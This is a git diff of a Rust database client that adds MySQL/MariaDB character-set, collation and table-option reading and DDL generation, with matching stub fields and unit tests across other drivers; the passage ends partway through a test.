diff --git a/linux/crates/drivers/clickhouse/src/ddl.rs b/linux/crates/drivers/clickhouse/src/ddl.rs
index 6579303080..dd3a6a409f 100644
--- a/linux/crates/drivers/clickhouse/src/ddl.rs
+++ b/linux/crates/drivers/clickhouse/src/ddl.rs
@@ -39,6 +39,8 @@ static CAPABILITIES: DdlCapabilities = DdlCapabilities {
     column_defaults: true,
     required_columns: true,
     declared_column_order: true,
+    column_collations: false,
+    table_options: false,
 };
 
 const TYPE_SUGGESTIONS: &[&str] = &[
@@ -294,6 +296,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
diff --git a/linux/crates/drivers/duckdb/src/catalog/mod.rs b/linux/crates/drivers/duckdb/src/catalog/mod.rs
index 40baa0841a..06063f6b3f 100644
--- a/linux/crates/drivers/duckdb/src/catalog/mod.rs
+++ b/linux/crates/drivers/duckdb/src/catalog/mod.rs
@@ -546,6 +546,7 @@ pub(crate) fn fetch_table_definition(
         foreign_keys: fetch_foreign_keys(link, catalog, table)?,
         inbound_foreign_keys: inbound_foreign_keys(link, catalog, table)?,
         source,
+        options: None,
     })
 }
 
diff --git a/linux/crates/drivers/duckdb/src/ddl.rs b/linux/crates/drivers/duckdb/src/ddl.rs
index c42691b13b..cf31959b89 100644
--- a/linux/crates/drivers/duckdb/src/ddl.rs
+++ b/linux/crates/drivers/duckdb/src/ddl.rs
@@ -48,6 +48,8 @@ static CAPABILITIES: DdlCapabilities = DdlCapabilities {
     column_defaults: true,
     required_columns: true,
     declared_column_order: true,
+    column_collations: false,
+    table_options: false,
 };
 
 const TYPE_SUGGESTIONS: &[&str] = &[
diff --git a/linux/crates/drivers/mongodb/src/connection.rs b/linux/crates/drivers/mongodb/src/connection.rs
index 1c89d6aaab..170848f1d5 100644
--- a/linux/crates/drivers/mongodb/src/connection.rs
+++ b/linux/crates/drivers/mongodb/src/connection.rs
@@ -425,6 +425,7 @@ impl Connection for MongoConnection {
                     foreign_keys: Vec::new(),
                     inbound_foreign_keys: Vec::new(),
                     source: None,
+                    options: None,
                 })
             })
         })
diff --git a/linux/crates/drivers/mssql/src/ddl.rs b/linux/crates/drivers/mssql/src/ddl.rs
index 171cf3ff0d..1badae38cd 100644
--- a/linux/crates/drivers/mssql/src/ddl.rs
+++ b/linux/crates/drivers/mssql/src/ddl.rs
@@ -37,6 +37,8 @@ static CAPABILITIES: DdlCapabilities = DdlCapabilities {
     column_defaults: true,
     required_columns: true,
     declared_column_order: true,
+    column_collations: false,
+    table_options: false,
 };
 
 fn alter_table(dialect: &MssqlDialect, table: &TableRef, action: &str) -> String {
@@ -566,6 +568,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
diff --git a/linux/crates/drivers/mssql/src/metadata.rs b/linux/crates/drivers/mssql/src/metadata.rs
index 3f9ed74dec..c93ec84c41 100644
--- a/linux/crates/drivers/mssql/src/metadata.rs
+++ b/linux/crates/drivers/mssql/src/metadata.rs
@@ -290,6 +290,7 @@ pub(crate) async fn fetch_table_definition(
         foreign_keys,
         inbound_foreign_keys,
         source: None,
+        options: None,
     })
 }
 
diff --git a/linux/crates/drivers/mysql/src/catalog/character_sets.rs b/linux/crates/drivers/mysql/src/catalog/character_sets.rs
new file mode 100644
index 0000000000..d425743b0a
--- /dev/null
+++ b/linux/crates/drivers/mysql/src/catalog/character_sets.rs
@@ -0,0 +1,108 @@
+use std::collections::BTreeMap;
+
+use tablepro_core::DriverError;
+use tablepro_core::ddl::CharacterSet;
+
+use super::catalog_cells::CatalogCells;
+
+/// Each character set with the collation it takes by default.
+pub(crate) const CHARACTER_SETS_SQL: &str = "\
+SELECT CHARACTER_SET_NAME, DEFAULT_COLLATE_NAME FROM information_schema.CHARACTER_SETS";
+
+/// Whether the server lists full collation names apart, as MariaDB 10.10
+/// and later do. Told by the column, not the version.
+pub(crate) const FULL_COLLATION_NAMES_SQL: &str = "\
+SELECT COUNT(*) FROM information_schema.COLUMNS
+WHERE TABLE_SCHEMA = 'information_schema' AND TABLE_NAME = 'COLLATION_CHARACTER_SET_APPLICABILITY'
+AND COLUMN_NAME = 'FULL_COLLATION_NAME'";
+
+/// MySQL, and MariaDB before 10.10.
+pub(crate) const COLLATIONS_SQL: &str = "\
+SELECT COLLATION_NAME, CHARACTER_SET_NAME FROM information_schema.COLLATIONS";
+
+/// MariaDB 10.10 and later list a UCA 14 collation in COLLATIONS once,
+/// with no character set, while a table or column names it in full, as
+/// `utf8mb4_uca1400_ai_ci`, which only this table spells.
+pub(crate) const FULL_COLLATIONS_SQL: &str = "\
+SELECT FULL_COLLATION_NAME, CHARACTER_SET_NAME FROM information_schema.COLLATION_CHARACTER_SET_APPLICABILITY";
+
+/// Every character set in name order, each with its collations in name
+/// order. A default collation the collation rows leave out is added, so
+/// it is always one to pick.
+pub(crate) fn character_sets(
+    sets: &[CatalogCells],
+    collations: &[CatalogCells],
+) -> Result<Vec<CharacterSet>, DriverError> {
+    let mut by_set: BTreeMap<String, Vec<String>> = BTreeMap::new();
+    for row in collations {
+        let name = row.required_text(0)?;
+        if let Some(set) = row.text(1)? {
+            by_set.entry(set).or_default().push(name);
+        }
+    }
+    let mut listed = Vec::new();
+    for row in sets {
+        let name = row.required_text(0)?;
+        let default_collation = row.required_text(1)?;
+        let mut collations = by_set.remove(&name).unwrap_or_default();
+        collations.push(default_collation.clone());
+        collations.sort();
+        collations.dedup();
+        listed.push(CharacterSet {
+            name,
+            default_collation,
+            collations,
+        });
+    }
+    listed.sort_by(|left, right| left.name.as_str().cmp(right.name.as_str()));
+    Ok(listed)
+}
+
+#[cfg(test)]
+mod tests {
+    use tablepro_core::value::Value;
+
+    use super::*;
+
+    fn row(table: &'static str, values: [Option<&str>; 2]) -> CatalogCells {
+        CatalogCells::new(
+            table,
+            values
+                .iter()
+                .map(|value| value.map_or(Value::Null, |text| Value::Text(text.to_owned())))
+                .collect(),
+        )
+    }
+
+    #[test]
+    fn collations_group_under_their_character_set_with_the_default_kept() {
+        let sets = [
+            row("CHARACTER_SETS", [Some("utf8mb4"), Some("utf8mb4_uca1400_ai_ci")]),
+            row("CHARACTER_SETS", [Some("latin1"), Some("latin1_swedish_ci")]),
+        ];
+        let collations = [
+            row("COLLATIONS", [Some("utf8mb4_bin"), Some("utf8mb4")]),
+            row("COLLATIONS", [Some("latin1_swedish_ci"), Some("latin1")]),
+            row("COLLATIONS", [Some("latin1_bin"), Some("latin1")]),
+            row("COLLATIONS", [Some("uca1400_ai_ci"), None]),
+        ];
+
+        let listed = character_sets(&sets, &collations).expect("the character sets");
+
+        assert_eq!(
+            listed,
+            [
+                CharacterSet {
+                    name: "latin1".to_owned(),
+                    default_collation: "latin1_swedish_ci".to_owned(),
+                    collations: vec!["latin1_bin".to_owned(), "latin1_swedish_ci".to_owned()],
+                },
+                CharacterSet {
+                    name: "utf8mb4".to_owned(),
+                    default_collation: "utf8mb4_uca1400_ai_ci".to_owned(),
+                    collations: vec!["utf8mb4_bin".to_owned(), "utf8mb4_uca1400_ai_ci".to_owned()],
+                },
+            ]
+        );
+    }
+}
diff --git a/linux/crates/drivers/mysql/src/catalog/mod.rs b/linux/crates/drivers/mysql/src/catalog/mod.rs
index 79d2aba7ab..1a02d6d9ce 100644
--- a/linux/crates/drivers/mysql/src/catalog/mod.rs
+++ b/linux/crates/drivers/mysql/src/catalog/mod.rs
@@ -2,6 +2,7 @@
 //! type names.
 
 mod catalog_cells;
+mod character_sets;
 mod column_type_scan_error;
 mod escaped_expression;
 mod key_comparison;
@@ -9,8 +10,12 @@ mod mysql_column_row;
 mod mysql_column_type;
 mod mysql_extra;
 mod table_definition;
+mod table_options;
 
 pub(crate) use catalog_cells::CatalogCells;
+pub(crate) use character_sets::{
+    CHARACTER_SETS_SQL, COLLATIONS_SQL, FULL_COLLATION_NAMES_SQL, FULL_COLLATIONS_SQL, character_sets,
+};
 pub(crate) use key_comparison::{COLUMN_COMPARISONS_SQL, TableComparisons, column_comparisons, compares_alike};
 pub(crate) use mysql_column_row::{MySqlColumnRow, columns_sql};
 pub(crate) use mysql_extra::{ExtraGenerated, MySqlExtra};
@@ -19,6 +24,7 @@ pub(crate) use table_definition::{
     MARIADB_GEOMETRY_SRIDS_SQL, column_checks, geometry_srids, inbound_foreign_keys, place_column_checks,
     printed_names, quoted_default,
 };
+pub(crate) use table_options::{ListedOptions, table_options};
 
 use sqlx::mysql::{MySql, MySqlColumn};
 use sqlx::{Column as _, Type, TypeInfo as _};
diff --git a/linux/crates/drivers/mysql/src/catalog/table_options.rs b/linux/crates/drivers/mysql/src/catalog/table_options.rs
new file mode 100644
index 0000000000..027826df2b
--- /dev/null
+++ b/linux/crates/drivers/mysql/src/catalog/table_options.rs
@@ -0,0 +1,164 @@
+use tablepro_core::ddl::TableOptions;
+
+use crate::flavour::MySqlFlavour;
+
+/// A table's options as one structure read finds them.
+#[derive(Debug, Clone, Copy)]
+pub(crate) struct ListedOptions<'a> {
+    /// TABLES.TABLE_COLLATION, which is live and `None` for a view.
+    pub collation: Option<&'a str>,
+    /// TABLES.AUTO_INCREMENT.
+    pub auto_increment: Option<u64>,
+    pub create_statement: &'a str,
+    /// Whether a column of the table numbers itself.
+    pub numbered: bool,
+}
+
+/// The counter comes from SHOW CREATE TABLE on MySQL, whose TABLES value
+/// is cached, and from TABLES on MariaDB, whose SHOW CREATE TABLE drops
+/// the options line under NO_TABLE_OPTIONS. SHOW CREATE TABLE leaves it
+/// out while it is 1.
+pub(crate) fn table_options(listed: ListedOptions<'_>, flavour: MySqlFlavour) -> Option<TableOptions> {
+    let collation = listed.collation?;
+    let counter = match flavour {
+        MySqlFlavour::MySql => printed_auto_increment(listed.create_statement),
+        MySqlFlavour::MariaDb => listed
+            .auto_increment
+            .or_else(|| printed_auto_increment(listed.create_statement)),
+    };
+    Some(TableOptions {
+        character_set: Some(character_set_of(collation).to_owned()),
+        collation: Some(collation.to_owned()),
+        next_auto_increment: listed.numbered.then_some(counter.unwrap_or(1)),
+    })
+}
+
+/// A collation's name starts with its character set's, and no character
+/// set's name has an underscore. MariaDB lists its UCA 14 collations in
+/// COLLATIONS with no character set, so a join there finds none.
+fn character_set_of(collation: &str) -> &str {
+    collation.split('_').next().unwrap_or(collation)
+}
+
+/// AUTO_INCREMENT= on the options line. The server prints it before any
+/// quoted option, so a table COMMENT that holds the same text is never read.
+fn printed_auto_increment(create_statement: &str) -> Option<u64> {
+    let line = options_line(create_statement)?;
+    let unquoted = line.split('\'').next().unwrap_or_default();
+    let (_, rest) = unquoted.split_once(" AUTO_INCREMENT=")?;
+    let digits: String = rest.chars().take_while(char::is_ascii_digit).collect();
+    digits.parse().ok()
+}
+
+/// The rest of the line that closes the column list. A quoted name or
+/// default can hold a newline and a `)`, so the list is walked with its
+/// quotes rather than by lines.
+fn options_line(create_statement: &str) -> Option<&str> {
+    let mut depth = 0usize;
+    let mut quote: Option<char> = None;
+    let mut chars = create_statement.char_indices().peekable();
+    while let Some((index, c)) = chars.next() {
+        if let Some(open) = quote {
+            if c == '\\' && open == '\'' {
+                chars.next();
+            } else if c == open {
+                match chars.peek() {
+                    Some((_, next)) if *next == open => {
+                        chars.next();
+                    }
+                    _ => quote = None,
+                }
+            }
+            continue;
+        }
+        match c {
+            '`' | '\'' | '"' => quote = Some(c),
+            '(' => depth += 1,
+            ')' => {
+                depth = depth.checked_sub(1)?;
+                if depth == 0 {
+                    let rest = create_statement.get(index + 1..)?;
+                    return rest.split('\n').next();
+                }
+            }
+            _ => {}
+        }
+    }
+    None
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    const COUNTED: &str = "CREATE TABLE `t` (\n  `id` int NOT NULL AUTO_INCREMENT COMMENT ') AUTO_INCREMENT=7',\n  \
+                           PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=latin1 \
+                           COMMENT=' AUTO_INCREMENT=99'\n/*!50100 PARTITION BY HASH (`id`)\nPARTITIONS 2 */";
+
+    fn listed(create_statement: &str, numbered: bool) -> ListedOptions<'_> {
+        ListedOptions {
+            collation: Some("latin1_swedish_ci"),
+            auto_increment: Some(4),
+            create_statement,
+            numbered,
+        }
+    }
+
+    #[test]
+    fn a_quoted_name_that_holds_a_closing_line_is_not_the_options_line() {
+        let statement = "CREATE TABLE `t` (\n  `id` int NOT NULL AUTO_INCREMENT,\n  `note\n) AUTO_INCREMENT=999` int,\n  \
+                         PRIMARY KEY (`id`)\n) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=latin1";
+        assert_eq!(printed_auto_increment(statement), Some(42));
+    }
+
+    #[test]
+    fn the_counter_is_read_from_the_options_line_only() {
+        assert_eq!(printed_auto_increment(COUNTED), Some(42));
+        assert_eq!(
+            printed_auto_increment("CREATE TABLE `t` (\n  `id` int\n) ENGINE=InnoDB COMMENT=' AUTO_INCREMENT=99'"),
+            None
+        );
+    }
+
+    #[test]
+    fn mysql_reads_the_printed_counter_and_mariadb_the_listed_one() {
+        let mysql = table_options(listed(COUNTED, true), MySqlFlavour::MySql);
+        let mariadb = table_options(listed(COUNTED, true), MySqlFlavour::MariaDb);
+
+        assert_eq!(
+            mysql,
+            Some(TableOptions {
+                character_set: Some("latin1".to_owned()),
+                collation: Some("latin1_swedish_ci".to_owned()),
+                next_auto_increment: Some(42),
+            })
+        );
+        assert_eq!(mariadb.and_then(|options| options.next_auto_increment), Some(4));
+    }
+
+    #[test]
+    fn a_numbered_table_without_a_printed_counter_is_at_one_and_others_have_none() {
+        let fresh = "CREATE TABLE `t` (\n  `id` int NOT NULL AUTO_INCREMENT,\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB";
+
+        let numbered = table_options(listed(fresh, true), MySqlFlavour::MySql);
+        let plain = table_options(listed(fresh, false), MySqlFlavour::MariaDb);
+        let view = table_options(
+            ListedOptions {
+                collation: None,
+                ..listed(fresh, false)
+            },
+            MySqlFlavour::MySql,
+        );
+
+        assert_eq!(numbered.and_then(|options| options.next_auto_increment), Some(1));
+        assert_eq!(plain.map(|options| options.next_auto_increment), Some(None));
+        assert_eq!(view, None);
+    }
+
+    #[test]
+    fn the_character_set_is_the_collations_first_word() {
+        assert_eq!(character_set_of("utf8mb4_uca1400_ai_ci"), "utf8mb4");
+        assert_eq!(character_set_of("utf8mb3_general_ci"), "utf8mb3");
+        assert_eq!(character_set_of("binary"), "binary");
+    }
+}
diff --git a/linux/crates/drivers/mysql/src/connection.rs b/linux/crates/drivers/mysql/src/connection.rs
index 86f9ff5e22..5137000983 100644
--- a/linux/crates/drivers/mysql/src/connection.rs
+++ b/linux/crates/drivers/mysql/src/connection.rs
@@ -5,7 +5,7 @@ use async_trait::async_trait;
 use deadpool::managed::{PoolError, TimeoutType};
 use sqlx::Executor as _;
 use tablepro_core::column::ColumnInfo;
-use tablepro_core::ddl::{InboundForeignKey, OutboundForeignKey, TableDefinition};
+use tablepro_core::ddl::{CharacterSet, InboundForeignKey, OutboundForeignKey, TableDefinition};
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef};
 use tablepro_core::statement::Statement;
@@ -366,6 +366,16 @@ impl Connection for MysqlConnection {
         .await
     }
 
+    async fn fetch_character_sets(&self, options: CallOptions) -> Result<Vec<CharacterSet>, DriverError> {
+        self.read(
+            options,
+            read_op(move |connection, flavour| {
+                Box::pin(async move { metadata::fetch_character_sets(connection, flavour).await })
+            }),
+        )
+        .await
+    }
+
     async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result<RowIdentity, DriverError> {
         let table = table.clone();
         let dialect = *self.dialect;
diff --git a/linux/crates/drivers/mysql/src/ddl/mod.rs b/linux/crates/drivers/mysql/src/ddl/mod.rs
index 08cad7f89b..9f4e6c55d3 100644
--- a/linux/crates/drivers/mysql/src/ddl/mod.rs
+++ b/linux/crates/drivers/mysql/src/ddl/mod.rs
@@ -4,8 +4,8 @@ use tablepro_core::column::ColumnDefault;
 use tablepro_core::ddl::ddl_sql::{column_list, create_index_sql, foreign_key_sql, index_keys_sql};
 use tablepro_core::ddl::{
     BuildDdlError, ChangedAttributes, ColumnAlteration, ColumnCapabilities, ColumnDefinition, DdlCapabilities,
-    DdlDialect, DdlOperation, DdlPlan, Permission, ReferentialAction, RefusalReason, TableChanges, TableDefinition,
-    TableDraft,
+    DdlDialect, DdlOperation, DdlPlan, DraftTableOptions, Permission, ReferentialAction, RefusalReason, TableChanges,
+    TableDefinition, TableDraft, TableOptionsChange,
 };
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::meta::TableRef;
@@ -41,6 +41,8 @@ const fn capabilities(expression_index_keys: bool) -> DdlCapabilities {
         column_defaults: true,
         required_columns: true,
         declared_column_order: true,
+        column_collations: true,
+        table_options: true,
     }
 }
 
@@ -84,6 +86,10 @@ const TYPE_SUGGESTIONS: &[&str] = &[
 /// drop and add a key of the same name in one statement. MySQL commits
 /// each DDL statement on its own, so a failure leaves the statements
 /// before it applied.
+///
+/// A CONVERT TO runs as a statement of its own after every drop and
+/// before every ADD, since a foreign key or index still on a column can
+/// refuse it. No column is restated beside it (`TableChanges::check`).
 impl DdlDialect for MySqlDialect {
     fn capabilities(&self) -> &DdlCapabilities {
         match self.has_functional_key_parts() {
@@ -96,6 +102,15 @@ impl DdlDialect for MySqlDialect {
         self
     }
 
+    /// The definition reads no options for a view or an NDB table, so
+    /// neither offers them.
+    fn table_capabilities(&self, table: &TableDefinition) -> DdlCapabilities {
+        DdlCapabilities {
+            table_options: table.options.is_some(),
+            ..*DdlDialect::capabilities(self)
+        }
+    }
+
     /// Every change but a rename writes the column again whole, its
     /// comment included, so each takes what the restatement takes. A
     /// generated column is restated with its expression, but takes no
@@ -113,12 +128,14 @@ impl DdlDialect for MySqlDialect {
         permissions.alter_default = permissions.alter_default.and(restated);
         permissions.alter_auto_increment = permissions.alter_auto_increment.and(restated);
         permissions.alter_comment = engine(capabilities.column_comments).and(restated);
+        permissions.alter_collation = engine(capabilities.column_collations).and(restated);
         if column.info.column_type.catalog.is_none() {
             let unreadable = || Permission::Refused(RefusalReason::UnreadableDefinition);
             permissions.alter_nullability = permissions.alter_nullability.and(unreadable);
             permissions.alter_default = permissions.alter_default.and(unreadable);
             permissions.alter_auto_increment = permissions.alter_auto_increment.and(unreadable);
             permissions.alter_comment = permissions.alter_comment.and(unreadable);
+            permissions.alter_collation = permissions.alter_collation.and(unreadable);
         }
         permissions
     }
@@ -148,8 +165,13 @@ impl DdlDialect for MySqlDialect {
             definitions.push(format!("PRIMARY KEY ({})", column_list(self, &key)));
         }
         definitions.extend(draft.foreign_keys.iter().map(|key| foreign_key_sql(self, &table, key)));
+        let options = draft
+            .options
+            .as_ref()
+            .map(|options| create_options(self, options))
+            .unwrap_or_default();
         let mut statements = vec![format!(
-            "CREATE TABLE {} (\n  {}\n)",
+            "CREATE TABLE {} (\n  {}\n){options}",
             self.qualify(&table),
             definitions.join(",\n  ")
         )];
@@ -193,48 +215,24 @@ impl DdlDialect for MySqlDialect {
             statements.push(format!("ALTER TABLE {qualified} {}", drops.join(", ")));
         }
 
-        let mut actions = Vec::new();
-        for index in &changes.dropped_indexes {
-            actions.push(format!("DROP INDEX {}", self.quote_identifier(&index.name)));
-        }
-        if changes.primary_key.as_ref().is_some_and(|change| change.from.is_some()) {
-            actions.push("DROP PRIMARY KEY".to_owned());
-        }
-        for column in &changes.dropped_columns {
-            actions.push(format!("DROP COLUMN {}", self.quote_identifier(column.name())));
-        }
-        let restated = |from: &str| {
-            changes
-                .altered_columns
-                .iter()
-                .find(|alteration| alteration.original.name() == from && restates(alteration.changed))
-        };
-        // A renamed column that also changed goes through CHANGE, which
-        // renames and restates at once; one that only changed its name
-        // keeps every attribute through RENAME COLUMN.
-        for rename in &changes.renamed_columns {
-            match restated(&rename.from) {
-                Some(alteration) => actions.push(format!(
-                    "CHANGE COLUMN {} {}",
-                    self.quote_identifier(&rename.from),
-                    render(self, &alteration.draft)?
-                )),
-                None => actions.push(format!(
-                    "RENAME COLUMN {} TO {}",
-                    self.quote_identifier(&rename.from),
-                    self.quote_identifier(&rename.to)
-                )),
-            }
-        }
-        for alteration in &changes.altered_columns {
-            let renamed = alteration.original.name() != alteration.draft.name;
-            if !renamed && restates(alteration.changed) {
-                actions.push(format!("MODIFY COLUMN {}", render(self, &alteration.draft)?));
+        let convert = changes
+            .options
+            .as_ref()
+            .filter(|options| options.converts_columns)
+            .and_then(|options| options.character_set.as_ref());
+        let mut actions = drop_clauses(self, changes);
+        if let Some(choice) = convert {
+            let drops = std::mem::take(&mut actions);
+            if !drops.is_empty() {
+                statements.push(format!("ALTER TABLE {qualified} {}", drops.join(", ")));
             }
+            statements.push(format!(
+                "ALTER TABLE {qualified} CONVERT TO CHARACTER SET {} COLLATE {}",
+                self.quote_identifier(&choice.character_set),
+                self.quote_identifier(&choice.collation)
+            ));
         }
-        for column in &changes.added_columns {
-            actions.push(format!("ADD COLUMN {}", render(self, column)?));
-        }
+        actions.extend(column_clauses(self, changes)?);
         if let Some(change) = changes.primary_key.as_ref().filter(|change| !change.to.is_empty()) {
             actions.push(format!("ADD PRIMARY KEY ({})", column_list(self, &change.to)));
         }
@@ -246,6 +244,9 @@ impl DdlDialect for MySqlDialect {
                 index_keys_sql(self, index)
             ));
         }
+        if let Some(options) = &changes.options {
+            actions.extend(option_clauses(self, options));
+        }
         if !actions.is_empty() {
             statements.push(format!("ALTER TABLE {qualified} {}", actions.join(", ")));
         }
@@ -275,7 +276,106 @@ impl DdlDialect for MySqlDialect {
 /// Whether an alteration needs the column's definition restated. A
 /// primary-key flag alone is the table's key clause.
 fn restates(changed: ChangedAttributes) -> bool {
-    changed.column_type || changed.nullability || changed.default || changed.auto_increment || changed.comment
+    changed.column_type
+        || changed.nullability
+        || changed.default
+        || changed.auto_increment
+        || changed.comment
+        || changed.collation
+}
+
+fn drop_clauses(dialect: &MySqlDialect, changes: &TableChanges) -> Vec<String> {
+    let mut drops: Vec<String> = changes
+        .dropped_indexes
+        .iter()
+        .map(|index| format!("DROP INDEX {}", dialect.quote_identifier(&index.name)))
+        .collect();
+    if changes.primary_key.as_ref().is_some_and(|change| change.from.is_some()) {
+        drops.push("DROP PRIMARY KEY".to_owned());
+    }
+    drops.extend(
+        changes
+            .dropped_columns
+            .iter()
+            .map(|column| format!("DROP COLUMN {}", dialect.quote_identifier(column.name()))),
+    );
+    drops
+}
+
+/// A renamed column that also changed goes through CHANGE, which renames
+/// and restates at once; one that only changed its name keeps every
+/// attribute through RENAME COLUMN.
+fn column_clauses(dialect: &MySqlDialect, changes: &TableChanges) -> Result<Vec<String>, BuildDdlError> {
+    let restated = |from: &str| {
+        changes
+            .altered_columns
+            .iter()
+            .find(|alteration| alteration.original.name() == from && restates(alteration.changed))
+    };
+    let mut clauses = Vec::new();
+    for rename in &changes.renamed_columns {
+        match restated(&rename.from) {
+            Some(alteration) => clauses.push(format!(
+                "CHANGE COLUMN {} {}",
+                dialect.quote_identifier(&rename.from),
+                render(dialect, &alteration.draft)?
+            )),
+            None => clauses.push(format!(
+                "RENAME COLUMN {} TO {}",
+                dialect.quote_identifier(&rename.from),
+                dialect.quote_identifier(&rename.to)
+            )),
+        }
+    }
+    for alteration in &changes.altered_columns {
+        let renamed = alteration.original.name() != alteration.draft.name;
+        if !renamed && restates(alteration.changed) {
+            clauses.push(format!("MODIFY COLUMN {}", render(dialect, &alteration.draft)?));
+        }
+    }
+    for column in &changes.added_columns {
+        clauses.push(format!("ADD COLUMN {}", render(dialect, column)?));
+    }
+    Ok(clauses)
+}
+
+/// The table's default pair and counter, which MySQL takes anywhere in
+/// the ALTER: a column added beside a new default takes it, and a counter
+/// beside a MODIFY that turns numbering on is kept. Both names go
+/// together, since a character set alone resets the collation. A convert
+/// already set the default.
+fn option_clauses(dialect: &MySqlDialect, options: &TableOptionsChange) -> Vec<String> {
+    let mut clauses = Vec::new();
+    if let Some(choice) = options.character_set.as_ref().filter(|_| !options.converts_columns) {
+        clauses.push(format!(
+            "DEFAULT CHARACTER SET = {} COLLATE = {}",
+            dialect.quote_identifier(&choice.character_set),
+            dialect.quote_identifier(&choice.collation)
+        ));
+    }
+    if let Some(next) = options.next_auto_increment {
+        clauses.push(format!("AUTO_INCREMENT = {next}"));
+    }
+    clauses
+}
+
+/// The options a new table is created with, after its closing
+/// parenthesis.
+fn create_options(dialect: &MySqlDialect, options: &DraftTableOptions) -> String {
+    let mut clauses = Vec::new();
+    if let Some(character_set) = &options.character_set {
+        clauses.push(format!(
+            "DEFAULT CHARACTER SET = {}",
+            dialect.quote_identifier(character_set)
+        ));
+    }
+    if let Some(collation) = &options.collation {
+        clauses.push(format!("COLLATE = {}", dialect.quote_identifier(collation)));
+    }
+    if let Some(next) = options.next_auto_increment {
+        clauses.push(format!("AUTO_INCREMENT = {next}"));
+    }
+    clauses.iter().map(|clause| format!(" {clause}")).collect()
 }
 
 /// The server reads a restated column against the names the same ALTER
@@ -323,7 +423,8 @@ mod tests {
     use tablepro_core::column::{ColumnDefault, ColumnInfo, SqlExpression};
     use tablepro_core::ddl::{
         CollationName, ColumnAttributes, ColumnVisibility, DdlOperation, DraftColumn, DraftType, DropTableOptions,
-        GeneratedColumn, GeneratedStorage, InboundForeignKey, PrimaryKeyConstraint, UnmodeledAttribute, diff_table,
+        GeneratedColumn, GeneratedStorage, InboundForeignKey, PrimaryKeyConstraint, TableOptions, UnmodeledAttribute,
+        diff_table,
     };
     use tablepro_core::meta::{IndexInfo, IndexKey};
     use tablepro_core::value::Value;
@@ -372,6 +473,7 @@ mod tests {
             foreign_keys: vec![foreign_key("users_account_fk")],
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
@@ -773,6 +875,7 @@ mod tests {
                 &permissions.alter_default,
                 &permissions.alter_auto_increment,
                 &permissions.alter_comment,
+                &permissions.alter_collation,
             ] {
                 assert_eq!(permission, &Permission::Refused(reason.clone()), "{}", column.name());
             }
@@ -952,6 +1055,308 @@ mod tests {
         );
     }
 
+    fn optioned(next_auto_increment: Option<u64>) -> TableDefinition {
+        let mut table = attributed();
+        table.options = Some(TableOptions {
+            character_set: Some("utf8mb4".to_owned()),
+            collation: Some("utf8mb4_0900_ai_ci".to_owned()),
+            next_auto_increment,
+        });
+        table
+    }
+
+    fn draft_options(draft: &mut TableDraft) -> &mut DraftTableOptions {
+        draft.options.as_mut().expect("the table's options")
+    }
+
+    fn convert_to(draft: &mut TableDraft, character_set: &str, collation: &str) {
+        let options = draft_options(draft);
+        options.character_set = Some(character_set.to_owned());
+        options.collation = Some(collation.to_owned());
+        options.converts_columns = true;
+    }
+
+    #[test]
+    fn a_default_change_names_both_and_joins_the_combined_alter() {
+        let edit = |draft: &mut TableDraft| {
+            draft_options(draft).character_set = Some("latin1".to_owned());
+            draft_options(draft).collation = Some("latin1_bin".to_owned());
+            draft.columns.push(typed("note", "varchar(40)"));
+        };
+
+        let expected = [
+            "ALTER TABLE `app`.`users` ADD COLUMN `note` varchar(40) NULL, DEFAULT CHARACTER SET = `latin1` COLLATE = \
+             `latin1_bin`",
+        ];
+        assert_eq!(sql(alter(&optioned(None), edit)), expected);
+        assert_eq!(sql(alter_on(&mariadb(), &optioned(None), edit)), expected);
+    }
+
+    fn converting(edit: impl FnOnce(&mut TableDraft)) -> Result<DdlPlan, BuildDdlError> {
+        alter(&optioned(Some(10)), |draft| {
+            convert_to(draft, "latin1", "latin1_bin");
+            edit(draft);
+        })
+    }
+
+    #[test]
+    fn a_convert_runs_after_the_foreign_key_drop_and_before_the_counter() {
+        let plan = converting(|draft| {
+            draft.foreign_keys.clear();
+            draft_options(draft).next_auto_increment = Some(500);
+        });
+
+        assert_eq!(
+            sql(plan),
+            [
+                "ALTER TABLE `app`.`users` DROP FOREIGN KEY `users_account_fk`",
+                "ALTER TABLE `app`.`users` CONVERT TO CHARACTER SET `latin1` COLLATE `latin1_bin`",
+                "ALTER TABLE `app`.`users` AUTO_INCREMENT = 500",
+            ]
+        );
+    }
+
+    #[test]
+    fn a_convert_runs_after_index_and_column_drops_and_before_the_added_columns() {
+        let mut table = optioned(None);
+        table.indexes = vec![IndexInfo {
+            name: "by_code".to_owned(),
+            keys: vec![IndexKey::Column {
+                name: "code".to_owned(),
+                descending: false,
+            }],
+            unique: false,
+            primary: false,
+            predicate: None,
+        }];
+
+        let plan = alter(&table, |draft| {
+            convert_to(draft, "utf8mb4", "utf8mb4_0900_ai_ci");
+            draft.indexes.clear();
+            draft.columns.retain(|column| column.name != "shape");
+            draft.columns.push(typed("note", "text"));
+            let mut tag = typed("tag", "varchar(10)");
+            tag.character_set = Some("ascii".to_owned());
+            tag.collation = Some("ascii_bin".to_owned());
+            draft.columns.push(tag);
+        });
+
+        assert_eq!(
+            sql(plan),
+            [
+                "ALTER TABLE `app`.`users` DROP INDEX `by_code`, DROP COLUMN `shape`",
+                "ALTER TABLE `app`.`users` CONVERT TO CHARACTER SET `utf8mb4` COLLATE `utf8mb4_0900_ai_ci`",
+                "ALTER TABLE `app`.`users` ADD COLUMN `note` text NULL, ADD COLUMN `tag` varchar(10) CHARACTER SET \
+                 `ascii` COLLATE `ascii_bin` NULL",
+            ]
+        );
+    }
+
+    /// A MODIFY after the convert would narrow a TEXT it widened, and a key
+    /// dropped after it is converted first and can outgrow the index limit.
+    #[test]
+    fn a_convert_refuses_a_restated_column_and_a_primary_key_change() {
+        let commented = converting(|draft| edit_column(draft, "code", |column| column.comment = Some("x".to_owned())));
